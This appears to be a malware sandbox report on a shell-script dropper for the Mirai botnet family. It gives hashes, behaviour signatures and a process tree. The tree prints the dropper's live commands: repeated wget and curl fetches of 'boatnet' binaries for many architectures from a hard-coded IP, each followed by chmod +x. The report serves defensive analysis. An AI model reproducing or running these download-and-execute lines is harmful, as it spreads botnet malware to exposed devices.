Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    148s
  • max time network
    131s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    11/03/2025, 08:32

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    37b42f54fe3c72cb1eb5543a6c17f546

  • SHA1

    637b619c1d425218ed7ec1ae064fc85196423c45

  • SHA256

    ab63171a0b3118f9a223b6f0cf23303cdd2aafcbdff1e8024e9728a91f99ae8d

  • SHA512

    e201190305d13d12894dfe7c8cd9f0c5022ebbd3af2d573f64433f676c1b22131f1abecc9f85bce3b453de6661a10291595318d15f025465360fa52c78089f8a

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Executes dropped EXE
    • Modifies Watchdog functionality
    • Writes file to system bin folder
    • Reads runtime system information
    • Writes file to tmp directory
    PID:1481
    • /usr/bin/wget
      wget http://107.172.82.193/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1482
    • /usr/bin/curl
      curl -O http://107.172.82.193/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1498
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1499
      • /bin/chmod
        chmod +x boatnet.x86 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-SWnNwF WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1500
      • /usr/bin/wget
        wget http://107.172.82.193/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1505
      • /usr/bin/curl
        curl -O http://107.172.82.193/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1506
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-SWnNwF WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1511
      • /usr/bin/wget
        wget http://107.172.82.193/hiddenbin/boatnet.arc
        2⤵
          PID:1516
        • /usr/bin/curl
          curl -O http://107.172.82.193/hiddenbin/boatnet.arc
          2⤵
          • Writes file to tmp directory
          PID:1521
        • /bin/chmod
          chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-SWnNwF WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1523
        • /usr/bin/wget
          wget http://107.172.82.193/hiddenbin/boatnet.i468
          2⤵
            PID:1528
          • /usr/bin/curl
            curl -O http://107.172.82.193/hiddenbin/boatnet.i468
            2⤵
            • Writes file to tmp directory
            PID:1529
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-SWnNwF WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1531
          • /usr/bin/wget
            wget http://107.172.82.193/hiddenbin/boatnet.i686
            2⤵
              PID:1536
            • /usr/bin/curl
              curl -O http://107.172.82.193/hiddenbin/boatnet.i686
              2⤵
              • Writes file to tmp directory
              PID:1537
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-SWnNwF WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1539
            • /usr/bin/wget
              wget http://107.172.82.193/hiddenbin/boatnet.x86_64
              2⤵
                PID:1544
              • /usr/bin/curl
                curl -O http://107.172.82.193/hiddenbin/boatnet.x86_64
                2⤵
                • Writes file to tmp directory
                PID:1545
              • /bin/chmod
                chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-SWnNwF WTF
                2⤵
                • File and Directory Permissions Modification
                PID:1547
              • /usr/bin/wget
                wget http://107.172.82.193/hiddenbin/boatnet.mpsl
                2⤵
                • Writes file to tmp directory
                PID:1552
              • /usr/bin/curl
                curl -O http://107.172.82.193/hiddenbin/boatnet.mpsl
                2⤵
                • Writes file to tmp directory
                PID:1553
              • /bin/chmod
                chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-SWnNwF WTF
                2⤵
                • File and Directory Permissions Modification
                PID:1563
              • /usr/bin/wget
                wget http://107.172.82.193/hiddenbin/boatnet.arm
                2⤵
                • Writes file to tmp directory
                PID:1568
              • /usr/bin/curl
                curl -O http://107.172.82.193/hiddenbin/boatnet.arm
                2⤵
                • Writes file to tmp directory
                PID:1573
              • /bin/chmod
                chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-qvqGjl systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-SWnNwF WTF
                2⤵
                • File and Directory Permissions Modification
                PID:1581
              • /usr/bin/wget
                wget http://107.172.82.193/hiddenbin/boatnet.arm5
                2⤵
                • Writes file to tmp directory
                PID:1586
              • /usr/bin/curl
                curl -O http://107.172.82.193/hiddenbin/boatnet.arm5
                2⤵
                • Writes file to tmp directory
                PID:1593
              • /bin/chmod
                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-SWnNwF WTF
                2⤵
                • File and Directory Permissions Modification
                PID:1597
              • /usr/bin/wget
                wget http://107.172.82.193/hiddenbin/boatnet.arm6
                2⤵
                • Writes file to tmp directory
                PID:1602
              • /usr/bin/curl
                curl -O http://107.172.82.193/hiddenbin/boatnet.arm6
                2⤵
                • Writes file to tmp directory
                PID:1607
              • /bin/chmod
                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-SWnNwF WTF
                2⤵
                • File and Directory Permissions Modification
                PID:1611
              • /usr/bin/wget
                wget http://107.172.82.193/hiddenbin/boatnet.arm7
                2⤵
                • Writes file to tmp directory
                PID:1616
              • /usr/bin/curl
                curl -O http://107.172.82.193/hiddenbin/boatnet.arm7
                2⤵
                • Writes file to tmp directory
                PID:1617
              • /bin/chmod
                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-SWnNwF WTF
                2⤵
                • File and Directory Permissions Modification
                PID:1619
              • /usr/bin/wget
                wget http://107.172.82.193/hiddenbin/boatnet.ppc
                2⤵
                • Writes file to tmp directory
                PID:1624
              • /usr/bin/curl
                curl -O http://107.172.82.193/hiddenbin/boatnet.ppc
                2⤵
                • Writes file to tmp directory
                PID:1625
              • /bin/chmod
                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-SWnNwF WTF
                2⤵
                • File and Directory Permissions Modification
                PID:1627
              • /usr/bin/wget
                wget http://107.172.82.193/hiddenbin/boatnet.spc
                2⤵
                • Writes file to tmp directory
                PID:1632
              • /usr/bin/curl
                curl -O http://107.172.82.193/hiddenbin/boatnet.spc
                2⤵
                • Writes file to tmp directory
                PID:1633
              • /bin/chmod
                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-SWnNwF WTF
                2⤵
                • File and Directory Permissions Modification
                PID:1635
              • /usr/bin/wget
                wget http://107.172.82.193/hiddenbin/boatnet.m68k
                2⤵
                • Writes file to tmp directory
                PID:1640
              • /usr/bin/curl
                curl -O http://107.172.82.193/hiddenbin/boatnet.m68k
                2⤵
                • Writes file to tmp directory
                PID:1641
              • /bin/chmod
                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-SWnNwF WTF
                2⤵
                • File and Directory Permissions Modification
                PID:1643
              • /usr/bin/wget
                wget http://107.172.82.193/hiddenbin/boatnet.sh4
                2⤵
                • Writes file to tmp directory
                PID:1648
              • /usr/bin/curl
                curl -O http://107.172.82.193/hiddenbin/boatnet.sh4
                2⤵
                • Writes file to tmp directory
                PID:1649
              • /bin/chmod
                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-SWnNwF WTF
                2⤵
                • File and Directory Permissions Modification
                PID:1651

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • /tmp/boatnet.x86

              Filesize

              20KB

              MD5

              681dd964889eddd4cfdc230ba745767b

              SHA1

              bdb24c1844bc8285e2bf781613149f6db7b4928d

              SHA256

              fca185b5efc7e5df44003d8612f179414eadb71c31386c707a7e6f1f8809790e

              SHA512

              ac2556dd6bf5c1fde0c0eea5c78037274065cbb5231969d572c8df8dafe3740c49d2c681d21e3abc0f786f1c617162af4c955543f28fe1462dbd196565c655a4